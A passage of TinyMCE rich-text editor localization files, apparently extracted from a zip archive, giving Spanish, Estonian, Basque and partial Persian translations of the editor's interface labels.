"Strikethrough": "Tachado",
"Bullet list": "Lista de vi\u00f1etas",
"Header 1": "Encabezado 1",
"Superscript": "Super\u00edndice",
"Clear formatting": "Limpiar formato",
"Font Sizes": "Tama\u00f1os de fuente",
"Subscript": "Sub\u00edndice",
"Header 6": "Encabezado 6",
"Redo": "Rehacer",
"Paragraph": "P\u00e1rrafo",
"Ok": "Ok",
"Bold": "Negrita",
"Code": "C\u00f3digo",
"Italic": "It\u00e1lica",
"Align center": "Alinear al centro",
"Header 5": "Encabezado 5 ",
"Decrease indent": "Disminuir sangr\u00eda",
"Header 4": "Encabezado 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Pegar est\u00e1 ahora
en modo de texto plano. El contenido se pegar\u00e1 como texto plano hasta
que desactive esta opci\u00f3n.",
"Underline": "Subrayado",
"Cancel": "Cancelar",
"Justify": "Justificar",
"Inline": "en l\u00ednea",
"Copy": "Copiar",
"Align left": "Alinear a la izquierda",
"Visual aids": "Ayudas visuales",
"Lower Greek": "Inferior Griega",
"Square": "Cuadrado",
"Default": "Por defecto",
"Lower Alpha": "Inferior Alfa",
"Circle": "C\u00edrculo",
"Disc": "Disco",
"Upper Alpha": "Superior Alfa",
"Upper Roman": "Superior Romana",
"Lower Roman": "Inferior Romana",
"Name": "Nombre",
"Anchor": "Ancla",
"You have unsaved changes are you sure you want to navigate
away?": "Tiene cambios sin guardar. \u00bfEst\u00e1 seguro de que
quiere salir?",
"Restore last draft": "Restaurar el \u00faltimo
borrador",
"Special character": "Car\u00e1cter especial",
"Source code": "C\u00f3digo fuente",
"Right to left": "De derecha a izquierda",
"Left to right": "De izquierda a derecha",
"Emoticons": "Emoticonos",
"Robots": "Robots",
"Document properties": "Propiedades del documento",
"Title": "T\u00edtulo",
"Keywords": "Palabras clave",
"Encoding": "Codificaci\u00f3n",
"Description": "Descripci\u00f3n",
"Author": "Autor",
"Fullscreen": "Pantalla completa",
"Horizontal line": "L\u00ednea horizontal",
"Horizontal space": "Espacio horizontal",
"Insert\/edit image": "Insertar\/editar imagen",
"General": "General",
"Advanced": "Avanzado",
"Source": "Fuente",
"Border": "Borde",
"Constrain proportions": "Restringir proporciones",
"Vertical space": "Espacio vertical",
"Image description": "Descripci\u00f3n de la imagen",
"Style": "Estilo",
"Dimensions": "Dimensiones",
"Insert image": "Insertar imagen",
"Insert date\/time": "Insertar fecha\/hora",
"Remove link": "Quitar enlace",
"Url": "URL",
"Text to display": "Texto para mostrar",
"Anchors": "Anclas",
"Insert link": "Insertar enlace",
"New window": "Nueva ventana",
"None": "Ninguno",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "The URL you entered seems to be
an external link. Do you want to add the required http:\/\/ prefix?",
"Target": "Destino",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "The URL you entered seems to be
an email address. Do you want to add the required mailto: prefix?",
"Insert\/edit link": "Insertar\/editar enlace",
"Insert\/edit video": "Insertar\/editar video",
"Poster": "Miniatura",
"Alternative source": "Fuente alternativa",
"Paste your embed code below:": "Pega tu c\u00f3digo
embebido debajo",
"Insert video": "Insertar video",
"Embed": "Incrustado",
"Nonbreaking space": "Espacio fijo",
"Page break": "Salto de p\u00e1gina",
"Paste as text": "Pegar como texto",
"Preview": "Previsualizar",
"Print": "Imprimir",
"Save": "Guardar",
"Could not find the specified string.": "No se encuentra la
cadena de texto especificada",
"Replace": "Reemplazar",
"Next": "Siguiente",
"Whole words": "Palabras completas",
"Find and replace": "Buscar y reemplazar",
"Replace with": "Reemplazar con",
"Find": "Buscar",
"Replace all": "Reemplazar todo",
"Match case": "Coincidencia exacta",
"Prev": "Anterior",
"Spellcheck": "Corrector ortogr\u00e1fico",
"Finish": "Finalizar",
"Ignore all": "Ignorar todos",
"Ignore": "Ignorar",
"Insert row before": "Insertar fila antes",
"Rows": "Filas",
"Height": "Alto",
"Paste row after": "Pegar la fila despu\u00e9s",
"Alignment": "Alineaci\u00f3n",
"Column group": "Grupo de columnas",
"Row": "Fila",
"Insert column before": "Insertar columna antes",
"Split cell": "Dividir celdas",
"Cell padding": "Relleno de celda",
"Cell spacing": "Espacio entre celdas",
"Row type": "Tipo de fila",
"Insert table": "Insertar tabla",
"Body": "Cuerpo",
"Caption": "Subt\u00edtulo",
"Footer": "Pie de p\u00e1gina",
"Delete row": "Eliminar fila",
"Paste row before": "Pegar la fila antes",
"Scope": "\u00c1mbito",
"Delete table": "Eliminar tabla",
"Header cell": "Celda de la cebecera",
"Column": "Columna",
"Cell": "Celda",
"Header": "Cabecera",
"Cell type": "Tipo de celda",
"Copy row": "Copiar fila",
"Row properties": "Propiedades de la fila",
"Table properties": "Propiedades de la tabla",
"Row group": "Grupo de filas",
"Right": "Derecha",
"Insert column after": "Insertar columna despu\u00e9s",
"Cols": "Columnas",
"Insert row after": "Insertar fila despu\u00e9s ",
"Width": "Ancho",
"Cell properties": "Propiedades de la celda",
"Left": "Izquierda",
"Cut row": "Cortar fila",
"Delete column": "Eliminar columna",
"Center": "Centrado",
"Merge cells": "Combinar celdas",
"Insert template": "Insertar plantilla",
"Templates": "Plantillas",
"Background color": "Color de fondo",
"Text color": "Color del texto",
"Show blocks": "Mostrar bloques",
"Show invisible characters": "Mostrar caracteres
invisibles",
"Words: {0}": "Palabras: {0}",
"Insert": "Insertar",
"File": "Archivo",
"Edit": "Editar",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "\u00c1rea de texto enriquecido. Pulse
ALT-F9 para el menu. Pulse ALT-F10 para la barra de herramientas. Pulse
ALT-0 para ayuda",
"Tools": "Herramientas",
"View": "Ver",
"Table": "Tabla",
"Format": "Formato"
});PKR��[rP���tinymce/langs/et.jsnu�[���tinymce.addI18n('et',{
"Cut": "L\u00f5ika",
"Header 2": "Pealkiri 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Sinu
veebilehitseja ei toeta otsest ligip\u00e4\u00e4su l\u00f5ikelauale. Palun
kasuta selle asemel klaviatuuri kiirk\u00e4sklusi Ctrl+X\/C\/V.",
"Div": "Sektsioon",
"Paste": "Kleebi",
"Close": "Sulge",
"Font Family": "Kirjastiilid",
"Pre": "Eelvormindatud",
"Align right": "Joonda paremale",
"New document": "Uus dokument",
"Blockquote": "Plokktsitaat",
"Numbered list": "J\u00e4rjestatud loend",
"Increase indent": "Suurenda taanet",
"Formats": "Vormingud",
"Headers": "P\u00e4ised",
"Select all": "Vali k\u00f5ik",
"Header 3": "Pealkiri 3",
"Blocks": "Plokid",
"Undo": "V\u00f5ta tagasi",
"Strikethrough": "L\u00e4bikriipsutatud",
"Bullet list": "J\u00e4rjestamata loend",
"Header 1": "Pealkiri 1",
"Superscript": "\u00dclaindeks",
"Clear formatting": "Puhasta vorming",
"Font Sizes": "Kirja suurused",
"Subscript": "Alaindeks",
"Header 6": "Pealkiri 6",
"Redo": "Tee uuesti",
"Paragraph": "L\u00f5ik",
"Ok": "Ok",
"Bold": "Rasvane",
"Code": "Kood",
"Italic": "Kaldkiri",
"Align center": "Joonda keskele",
"Header 5": "Pealkiri 5",
"Decrease indent": "V\u00e4henda taanet",
"Header 4": "Pealkiri 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Asetamine on
n\u00fc\u00fcd tekstire\u017eiimis. Sisu asetatakse n\u00fc\u00fcd
lihttekstina, kuni sa l\u00fclitad selle valiku v\u00e4lja.",
"Underline": "Allakriipsutatud",
"Cancel": "Katkesta",
"Justify": "Joonda r\u00f6\u00f6pselt",
"Inline": "Reasisene",
"Copy": "Kopeeri",
"Align left": "Joonda vasakule",
"Visual aids": "N\u00e4itevahendid",
"Lower Greek": "Kreeka v\u00e4iket\u00e4hed (\u03b1, \u03b2,
\u03b3)",
"Square": "Ruut",
"Default": "Vaikimisi",
"Lower Alpha": "V\u00e4iket\u00e4hed (a, b, c)",
"Circle": "Ring",
"Disc": "Ketas",
"Upper Alpha": "Suurt\u00e4hed (A, B, C)",
"Upper Roman": "Rooma suurt\u00e4hed (I, II, III)",
"Lower Roman": "Rooma v\u00e4iket\u00e4hed (i, ii,
iii)",
"Name": "Nimi",
"Anchor": "Ankur",
"You have unsaved changes are you sure you want to navigate
away?": "Sul on salvestamata muudatusi. Oled Sa kindel, et soovid
mujale navigeeruda?",
"Restore last draft": "Taasta viimane mustand",
"Special character": "Erim\u00e4rk",
"Source code": "L\u00e4htekood",
"Right to left": "Paremalt vasakule",
"Left to right": "Vasakult paremale",
"Emoticons": "Emotikonid",
"Robots": "Robotid",
"Document properties": "Dokumendi omadused",
"Title": "Pealkiri",
"Keywords": "M\u00e4rks\u00f5nad",
"Encoding": "M\u00e4rgistik",
"Description": "Kirjeldus",
"Author": "Autor",
"Fullscreen": "T\u00e4isekraan",
"Horizontal line": "Horisontaaljoon",
"Horizontal space": "Reavahe",
"Insert\/edit image": "Lisa\/muuda pilt",
"General": "\u00dcldine",
"Advanced": "T\u00e4iendavad seaded",
"Source": "Allikas",
"Border": "\u00c4\u00e4ris",
"Constrain proportions": "S\u00e4ilita kuvasuhe",
"Vertical space": "P\u00fcstine vahe",
"Image description": "Pildi kirjeldus",
"Style": "Stiil",
"Dimensions": "M\u00f5\u00f5tmed",
"Insert image": "Lisa pilt",
"Insert date\/time": "Lisa kuup\u00e4ev\/kellaaeg",
"Remove link": "Eemalda link",
"Url": "Viide (url)",
"Text to display": "Kuvatav tekst",
"Anchors": "Ankrud",
"Insert link": "Lisa link",
"New window": "Uus aken",
"None": "Puudub",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "The URL you entered seems to be
an external link. Do you want to add the required http:\/\/ prefix?",
"Target": "Sihtm\u00e4rk",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "The URL you entered seems to be
an email address. Do you want to add the required mailto: prefix?",
"Insert\/edit link": "Lisa\/muuda link",
"Insert\/edit video": "Lisa\/muuda video",
"Poster": "Lisaja",
"Alternative source": "Teine allikas",
"Paste your embed code below:": "Kleebi oma manustamiskood
siia alla:",
"Insert video": "Lisa video",
"Embed": "Manusta",
"Nonbreaking space": "T\u00fchim\u00e4rk (nbsp)",
"Page break": "Lehevahetus",
"Paste as text": "Aseta tekstina",
"Preview": "Eelvaade",
"Print": "Tr\u00fcki",
"Save": "Salvesta",
"Could not find the specified string.": "Ei suutnud leida
etteantud s\u00f5net.",
"Replace": "Asenda",
"Next": "J\u00e4rg",
"Whole words": "Terviks\u00f5nad",
"Find and replace": "Otsi ja asenda",
"Replace with": "Asendus",
"Find": "Otsi",
"Replace all": "Asenda k\u00f5ik",
"Match case": "Erista suur- ja v\u00e4iket\u00e4hti",
"Prev": "Eelm",
"Spellcheck": "\u00d5igekirja kontroll",
"Finish": "L\u00f5peta",
"Ignore all": "Eira k\u00f5iki",
"Ignore": "Eira",
"Insert row before": "Lisa rida enne",
"Rows": "Read",
"Height": "K\u00f5rgus",
"Paste row after": "Kleebi rida j\u00e4rele",
"Alignment": "Joondus",
"Column group": "Veergude r\u00fchm",
"Row": "Rida",
"Insert column before": "Lisa tulp enne",
"Split cell": "T\u00fckelda lahter",
"Cell padding": "Lahtri sisu ja tabeli \u00e4\u00e4rise
vahe",
"Cell spacing": "Lahtrivahe",
"Row type": "Rea t\u00fc\u00fcp",
"Insert table": "Lisa tabel",
"Body": "P\u00f5hiosa",
"Caption": "Alapealkiri",
"Footer": "Jalus",
"Delete row": "Kustuta rida",
"Paste row before": "Kleebi rida enne",
"Scope": "Ulatus",
"Delete table": "Kustuta tabel",
"Header cell": "P\u00e4islahter",
"Column": "Tulp",
"Cell": "Lahter",
"Header": "P\u00e4is",
"Cell type": "Lahtri t\u00fc\u00fcp",
"Copy row": "Kopeeri rida",
"Row properties": "Rea omadused",
"Table properties": "Tabeli omadused",
"Row group": "Ridade r\u00fchm",
"Right": "Paremal",
"Insert column after": "Lisa tulp j\u00e4rele",
"Cols": "Veerud",
"Insert row after": "Lisa rida j\u00e4rele",
"Width": "Laius",
"Cell properties": "Lahtri omadused",
"Left": "Vasakul",
"Cut row": "L\u00f5ika rida",
"Delete column": "Kustuta tulp",
"Center": "Keskel",
"Merge cells": "\u00dchenda lahtrid",
"Insert template": "Lisa mall",
"Templates": "Mallid",
"Background color": "Tausta v\u00e4rv",
"Text color": "Teksti v\u00e4rv",
"Show blocks": "N\u00e4ita plokke",
"Show invisible characters": "N\u00e4ita peidetud
m\u00e4rke",
"Words: {0}": "S\u00f5nu: {0}",
"Insert": "Sisesta",
"File": "Fail",
"Edit": "Muuda",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Rikastatud teksti ala. Men\u00fc\u00fc
jaoks vajuta ALT-F9. T\u00f6\u00f6riistariba jaoks vajuta ALT-F10. Abi
saamiseks vajuta ALT-0.",
"Tools": "T\u00f6\u00f6riistad",
"View": "Vaade",
"Table": "Tabel",
"Format": "Vorming"
});PKR��[6��о�tinymce/langs/eu.jsnu�[���tinymce.addI18n('eu',{
"Cut": "Ebaki",
"Heading 5": "5 Izenburua",
"Header 2": "2 Goiburua",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Zure
nabigatzaileak ez du arbela zuzenean erabiltzeko euskarririk. Mesedez
erabili CTRL+X\/C\/V teklatuko lasterbideak.",
"Heading 4": "4 Izenburua",
"Div": "Div",
"Heading 2": "2 Izenburua",
"Paste": "Itsatsi",
"Close": "Itxi",
"Font Family": "Letra-tipo familia",
"Pre": "Pre",
"Align right": "Lerrokatu eskuinean",
"New document": "Dokumentu berria",
"Blockquote": "Blockquote",
"Numbered list": "Zerrenda  zenbakiduna",
"Heading 1": "1 Izenburua",
"Headings": "Izenburuak",
"Increase indent": "Handitu koska",
"Formats": "Formatuak",
"Headers": "Goiburuak",
"Select all": "Hautatu dena",
"Header 3": "3 Goiburua",
"Blocks": "Blokeak",
"Undo": "Desegin",
"Strikethrough": "Marratua",
"Bullet list": "Bulet zerrenda",
"Header 1": "1 Goiburua",
"Superscript": "Goi-indizea",
"Clear formatting": "Garbitu formatua",
"Font Sizes": "Letra-tamainak",
"Subscript": "Azpiindize",
"Header 6": "6 Goiburua",
"Redo": "Berregin",
"Paragraph": "Paragrafoa",
"Ok": "Ados",
"Bold": "Lodia",
"Code": "Kodea",
"Italic": "Etzana",
"Align center": "Lerrokatu erdian",
"Header 5": "5 Goiburua",
"Heading 6": "6 Izenburua",
"Heading 3": "3 Izenburua",
"Decrease indent": "Txikitu koska",
"Header 4": "4 Goiburua",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Itsatsi testu arrunt
moduan dago orain. Edukiak testu arruntak bezala itsatsiko dira aukera hau
desaktibatu arte.",
"Underline": "Azpimarratua",
"Cancel": "Utzi",
"Justify": "Justifikatuta",
"Inline": "Lerroan",
"Copy": "Kopiatu",
"Align left": "Lerrokatu ezkerrean",
"Visual aids": "Laguntza bisualak",
"Lower Greek": "Greko minuskula",
"Square": "Karratua",
"Default": "Lehenetsia",
"Lower Alpha": "Letra minuskula",
"Circle": "Zirkulua",
"Disc": "Diskoa",
"Upper Alpha": "Letra maiuskula",
"Upper Roman": "Erromatar maiuskula",
"Lower Roman": "Erromatar minuskula",
"Name": "Izena",
"Anchor": "Esteka",
"You have unsaved changes are you sure you want to navigate
away?": "Gorde gabeko aldaketak dituzu, ziur zaude hemendik irten
nahi duzula?",
"Restore last draft": "Leheneratu azken zirriborroa",
"Special character": "Karaktere berezia",
"Source code": "Iturburu-kodea",
"B": "B",
"R": "R",
"G": "G",
"Color": "Kolorea",
"Right to left": "Eskuinetik ezkerrera",
"Left to right": "Ezkerretik eskuinera",
"Emoticons": "Aurpegierak",
"Robots": "Robotak",
"Document properties": "Dokumentuaren propietateak",
"Title": "Titulua",
"Keywords": "Gako-hitzak",
"Encoding": "Kodeketa",
"Description": "Deskribapena",
"Author": "Egilea",
"Fullscreen": "Pantaila osoa",
"Horizontal line": "Marra horizontala",
"Horizontal space": "Tarte horizontala",
"Insert\/edit image": "Txertatu\/editatu irudia",
"General": "Orokorra",
"Advanced": "Aurreratua",
"Source": "Iturburua",
"Border": "Ertza",
"Constrain proportions": "Mugatu proportzioak",
"Vertical space": "Tarte bertikala",
"Image description": "Irudiaren deskribapena",
"Style": "Estiloa",
"Dimensions": "Neurriak",
"Insert image": "Txertatu irudia",
"Zoom in": "Handiagotu",
"Contrast": "Kontrastea",
"Back": "Atzera",
"Gamma": "Gamma",
"Flip horizontally": "Irauli horizontalki",
"Resize": "Aldatu tamaina",
"Sharpen": "Araztu",
"Zoom out": "Txikiagotu",
"Image options": "Irudiaren aukerak",
"Apply": "Aplikatu",
"Brightness": "Distira",
"Rotate clockwise": "Biratu erlojuaren noranzkoan",
"Rotate counterclockwise": "Biratu erlojuaren aurkako
noranzkoan",
"Edit image": "Editatu irudia",
"Color levels": "Kolore-mailak",
"Crop": "Moztu",
"Orientation": "Orientazioa",
"Flip vertically": "Irauli bertikalki",
"Invert": "Alderantzikatu",
"Insert date\/time": "Txertatu data\/ordua",
"Remove link": "Kendu esteka",
"Url": "Url",
"Text to display": "Bistaratzeko testua",
"Anchors": "Estekak",
"Insert link": "Txertatu esteka",
"New window": "Leiho berria",
"None": "Bat ere ez",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "Sartu duzun URL-ak kanpoko
esteka dirudi. Nahi duzu dagokion http:\/\/ aurrizkia gehitzea?",
"Target": "Helburua",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "Sartu duzun URL-ak posta helbide
elektronikoa dirudi. Nahi duzu dagokion mailto: aurrizkia gehitzea?",
"Insert\/edit link": "Txertatu\/editatu esteka",
"Insert\/edit video": "Txertatu\/editatu bideoa",
"Poster": "Posterra",
"Alternative source": "Ordezko iturburua",
"Paste your embed code below:": "Itsatsi hemen zure
kapsulatze-kodea:",
"Insert video": "Txertatu bideoa",
"Embed": "Kapsulatu",
"Nonbreaking space": "Zuriune zatiezina",
"Page break": "Orrialde-jauzia",
"Paste as text": "Itsatsi testu gisa",
"Preview": "Aurrebista",
"Print": "Inprimatu",
"Save": "Gorde",
"Could not find the specified string.": "Ezin izan da
zehaztutako katea aurkitu.",
"Replace": "Ordeztu",
"Next": "Hurrengoa",
"Whole words": "hitz osoak",
"Find and replace": "Bilatu eta ordeztu",
"Replace with": "Ordeztu honekin",
"Find": "Bilatu",
"Replace all": "Ordeztu dena",
"Match case": "Maiuskula\/minuskula",
"Prev": "Aurrekoa",
"Spellcheck": "Ortografia-egiaztapena",
"Finish": "Amaitu",
"Ignore all": "Ez ikusi egin dena",
"Ignore": "Ez ikusi egin",
"Add to Dictionary": "Gehitu hiztegian",
"Insert row before": "Txertatu errenkada aurretik",
"Rows": "Errenkadak",
"Height": "Altuera",
"Paste row after": "Itsatsi errenkada ondoren",
"Alignment": "Lerrokatzea",
"Border color": "Ertzaren kolorea",
"Column group": "Zutabe taldea",
"Row": "Errenkada",
"Insert column before": "Txertatu zutabea aurretik",
"Split cell": "Zatitu gelaxka",
"Cell padding": "Gelaxka-betegarria",
"Cell spacing": "Gelaxka-bitartea",
"Row type": "Lerro mota",
"Insert table": "Txertatu taula",
"Body": "Gorputza",
"Caption": "Epigrafea",
"Footer": "Oina",
"Delete row": "Ezabatu errenkada",
"Paste row before": "Itsatsi errenkada aurretik",
"Scope": "Esparrua",
"Delete table": "Ezabatu taula",
"H Align": "Lerrokatze horizontala",
"Top": "Goian",
"Header cell": "Goiburu-gelaxka",
"Column": "Zutabea",
"Row group": "Lerro taldea",
"Cell": "Gelaxka",
"Middle": "Erdian",
"Cell type": "Gelaxka mota",
"Copy row": "Kopiatu errenkada",
"Row properties": "Errenkadaren propietateak",
"Table properties": "Taularen propietateak",
"Bottom": "Behean",
"V Align": "Lerrokatze bertikala",
"Header": "Goiburua",
"Right": "Eskuina",
"Insert column after": "Txertatu zutabea ondoren",
"Cols": "Zutabeak",
"Insert row after": "Txertatu errenkada ondoren",
"Width": "Zabalera",
"Cell properties": "Gelaxkaren propietateak",
"Left": "Ezkerra",
"Cut row": "Ebaki errenkada",
"Delete column": "Ezabatu zutabea",
"Center": "Erdia",
"Merge cells": "Konbinatu gelaxkak",
"Insert template": "Txertatu txantiloia",
"Templates": "Txantiloiak",
"Background color": "Atzeko planoaren kolorea",
"Custom...": "Pertsonalizatua...",
"Custom color": "Kolore pertsonalizatua",
"No color": "Kolorerik gabe",
"Text color": "Testuaren kolorea",
"Show blocks": "Erakutsi blokeak",
"Show invisible characters": "Erakutsi karaktere
ikusezinak",
"Words: {0}": "Hitzak: {0}",
"Insert": "Txertatu",
"File": "Fitxategia",
"Edit": "Editatu",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Testu aberastuaren area. Sakatu ALT-F9
menurako. Sakatu ALT-F10 tresna-barrarako. Sakatu ALT-0 laguntzarako",
"Tools": "Tresnak",
"View": "Ikusi",
"Table": "Taula",
"Format": "Formatua"
});
PKR��[���0�>�>tinymce/langs/fa.jsnu�[���tinymce.addI18n('fa',{
"Cut": "\u0628\u0631\u062f\u0627\u0634\u062a\u0646",
"Header 2": "\u0633\u0631\u200c\u0635\u0641\u062d\u0647
2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"\u0645\u0631\u0648\u0631\u06af\u0631 \u0634\u0645\u0627 \u0627\u0632
\u062f\u0633\u062a\u0631\u0633\u06cc \u0645\u0633\u062a\u0642\u06cc\u0645
\u0628\u0647 \u062d\u0627\u0641\u0638\u0647 \u06a9\u067e\u06cc
\u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc \u0646\u0645\u06cc
\u06a9\u0646\u062f. \u0644\u0637\u0641\u0627 \u0627\u0632
\u06a9\u0644\u06cc\u062f \u0647\u0627\u06cc Ctrl+X\/C\/V \u062f\u0631
\u06a9\u06cc\u0628\u0648\u0631\u062f \u0628\u0631\u0627\u06cc
\u0627\u06cc\u0646 \u06a9\u0627\u0631
\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f.",
"Div": "\u062a\u06af \u0628\u062e\u0634 - Div",
"Paste": "\u0686\u0633\u0628\u0627\u0646\u062f\u0646",
"Close": "\u0628\u0633\u062a\u0646",
"Font Family": "\u0641\u0648\u0646\u062a",
"Pre": "\u062a\u06af \u062a\u0628\u062f\u06cc\u0644
\u0628\u0647 \u0645\u062a\u0646 \u0633\u0627\u062f\u0647 - Pre",
"Align right": "\u0631\u0627\u0633\u062a
\u0686\u06cc\u0646",
"New document": "\u0633\u0646\u062f
\u062c\u062f\u06cc\u062f",
"Blockquote": "\u062a\u06af \u0646\u0642\u0644
\u0642\u0648\u0644 - Blockquote",
"Numbered list": "\u0644\u06cc\u0633\u062a
\u0634\u0645\u0627\u0631\u0647 \u0627\u06cc",
"Increase indent": "\u0627\u0641\u0632\u0627\u06cc\u0634
\u062a\u0648 \u0631\u0641\u062a\u06af\u06cc",
"Formats": "\u0642\u0627\u0644\u0628",
"Headers":
"\u0633\u0631\u200c\u0635\u0641\u062d\u0647\u200c\u0647\u0627",
"Select all": "\u0627\u0646\u062a\u062e\u0627\u0628
\u0647\u0645\u0647",
"Header 3": "\u0633\u0631\u200c\u0635\u0641\u062d\u0647
3",
"Blocks": "\u0628\u0644\u0648\u06a9",
"Undo": "\t\n\u0628\u0627\u0637\u0644
\u06a9\u0631\u062f\u0646",
"Strikethrough": "\u062e\u0637
\u062e\u0648\u0631\u062f\u0647",
"Bullet list": "\u0644\u06cc\u0633\u062a
\u062f\u0627\u06cc\u0631\u0647 \u0627\u06cc",
"Header 1": "\u0633\u0631\u200c\u0635\u0641\u062d\u0647
1",
"Superscript":
"\u0628\u0627\u0644\u0627\u0646\u0648\u06cc\u0633 -
\u062d\u0627\u0644\u062a \u062a\u0648\u0627\u0646",
"Clear formatting": "\u067e\u0627\u06a9
\u06a9\u0631\u062f\u0646 \u0642\u0627\u0644\u0628
\u0628\u0646\u062f\u06cc",
"Font Sizes": "\u0627\u0646\u062f\u0627\u0632\u0647
\u0641\u0648\u0646\u062a",
"Subscript": "\u0632\u06cc\u0631 \u0646\u0648\u06cc\u0633 -
\u062d\u0627\u0644\u062a \u0627\u0646\u062f\u06cc\u0633",
"Header 6": "\u0633\u0631\u200c\u0635\u0641\u062d\u0647
6",
"Redo": "\u0627\u0646\u062c\u0627\u0645
\u062f\u0648\u0628\u0627\u0631\u0647",
"Paragraph": "\u062a\u06af
\u067e\u0627\u0631\u0627\u06af\u0631\u0627\u0641 - Paragraph",
"Ok": "\u0628\u0627\u0634\u0647",
"Bold": "\u062f\u0631\u0634\u062a",
"Code": "\u062a\u06af \u06a9\u062f - Code",
"Italic": "\u062e\u0637 \u06a9\u062c",
"Align center": "\u0648\u0633\u0637
\u0686\u06cc\u0646",
"Header 5": "\u0633\u0631\u200c\u0635\u0641\u062d\u0647
5",
"Decrease indent": "\u06a9\u0627\u0647\u0634 \u062a\u0648
\u0631\u0641\u062a\u06af\u06cc",
"Header 4": "\u0633\u0631\u200c\u0635\u0641\u062d\u0647
4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.":
"\u0686\u0633\u0628\u0627\u0646\u062f\u0646 \u0647\u0645
\u0627\u06a9\u0646\u0648\u0646 \u062f\u0631 \u062d\u0627\u0644\u062a
\u0645\u062a\u0646 \u0633\u0627\u062f\u0647 \u0627\u0633\u062a.
\u062a\u0627 \u0632\u0645\u0627\u0646\u06cc \u06a9\u0647 \u0627\u06cc\u0646
\u062d\u0627\u0644\u062a \u0631\u0627
\u063a\u06cc\u0631\u200c\u0641\u0639\u0627\u0644
\u0646\u06a9\u0646\u06cc\u062f\u060c \u0645\u062d\u062a\u0648\u0627
\u062f\u0631 \u062d\u0627\u0644\u062a \u0645\u062a\u0646
\u0633\u0627\u062f\u0647 \u0627\u0636\u0627\u0641\u0647
\u0645\u06cc\u200c\u0634\u0648\u062f.",
"Underline": "\u062e\u0637 \u0632\u06cc\u0631",
"Cancel": "\u0644\u063a\u0648",
"Justify": "\u0645\u0633\u0627\u0648\u06cc \u0627\u0632
\u0637\u0631\u0641\u06cc\u0646",
"Inline": "\u062e\u0637\u06cc",
"Copy": "\u06a9\u067e\u06cc",
"Align left": "\u0686\u067e \u0686\u06cc\u0646",
"Visual aids": "\u06a9\u0645\u06a9 \u0647\u0627\u06cc
\u0628\u0635\u0631\u06cc",
"Lower Greek": "\u06cc\u0648\u0646\u0627\u0646\u06cc
\u06a9\u0648\u0686\u06a9",
"Square": "\u0645\u0631\u0628\u0639",
"Default": "\u067e\u06cc\u0634\u0641\u0631\u0636",
"Lower Alpha": "\u0622\u0644\u0641\u0627\u0621
\u06a9\u0648\u0686\u06a9",
"Circle": "\u062f\u0627\u06cc\u0631\u0647",
"Disc": "\u062f\u06cc\u0633\u06a9",
"Upper Alpha": "\u0622\u0644\u0641\u0627\u0621
\u0628\u0632\u0631\u06af",
"Upper Roman": "\u0631\u0648\u0645\u06cc
\u0628\u0632\u0631\u06af",
"Lower Roman": "\u0631\u0648\u0645\u06cc
\u06a9\u0648\u0686\u06a9",
"Name": "\u0646\u0627\u0645",
"Anchor": "\u0644\u0646\u06af\u0631 -
\u0644\u06cc\u0646\u06a9",
"You have unsaved changes are you sure you want to navigate
away?": "\u0634\u0645\u0627
\u062a\u063a\u06cc\u06cc\u0631\u0627\u062a \u0630\u062e\u06cc\u0631\u0647
\u0646\u0634\u062f\u0647 \u0627\u06cc \u062f\u0627\u0631\u06cc\u062f\u060c
\u0622\u06cc\u0627 \u0645\u0637\u0645\u0626\u0646\u06cc\u062f \u06a9\u0647
\u0645\u06cc\u062e\u0648\u0627\u0647\u06cc\u062f \u0627\u0632
\u0627\u06cc\u0646 \u0635\u0641\u062d\u0647
\u0628\u0631\u0648\u06cc\u062f\u061f",
"Restore last draft":
"\u0628\u0627\u0632\u06af\u0631\u062f\u0627\u0646\u062f\u0646
\u0622\u062e\u0631\u06cc\u0646 \u067e\u06cc\u0634
\u0646\u0648\u06cc\u0633",
"Special character":
"\u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 \u0647\u0627\u06cc
\u062e\u0627\u0635",
"Source code": "\u06a9\u062f \u0645\u0646\u0628\u0639",
"Right to left": "\u0631\u0627\u0633\u062a \u0628\u0647
\u0686\u067e",
"Left to right": "\u0686\u067e \u0628\u0647
\u0631\u0627\u0633\u062a",
"Emoticons":
"\u0634\u06a9\u0644\u06a9\u200c\u0647\u0627",
"Robots": "\u0631\u0628\u0627\u062a\u200c\u0647\u0627",
"Document properties":
"\u0648\u06cc\u0698\u06af\u06cc\u200c\u0647\u0627\u06cc
\u0633\u0646\u062f",
"Title": "\u0639\u0646\u0648\u0627\u0646",
"Keywords": "\u06a9\u0644\u0645\u0627\u062a
\u06a9\u0644\u06cc\u062f\u06cc",
"Encoding": "\u06a9\u062f
\u06af\u0630\u0627\u0631\u06cc",
"Description":
"\u062a\u0648\u0636\u06cc\u062d\u0627\u062a",
"Author": "\u0646\u0648\u06cc\u0633\u0646\u062f\u0647",
"Fullscreen": "\u062a\u0645\u0627\u0645
\u0635\u0641\u062d\u0647",
"Horizontal line": "\u062e\u0637
\u0627\u0641\u0642\u06cc",
"Horizontal space": "\u0641\u0636\u0627\u06cc
\u0627\u0641\u0642\u06cc",
"Insert\/edit image":
"\u0627\u0636\u0627\u0641\u0647\/\u0648\u06cc\u0631\u0627\u06cc\u0634
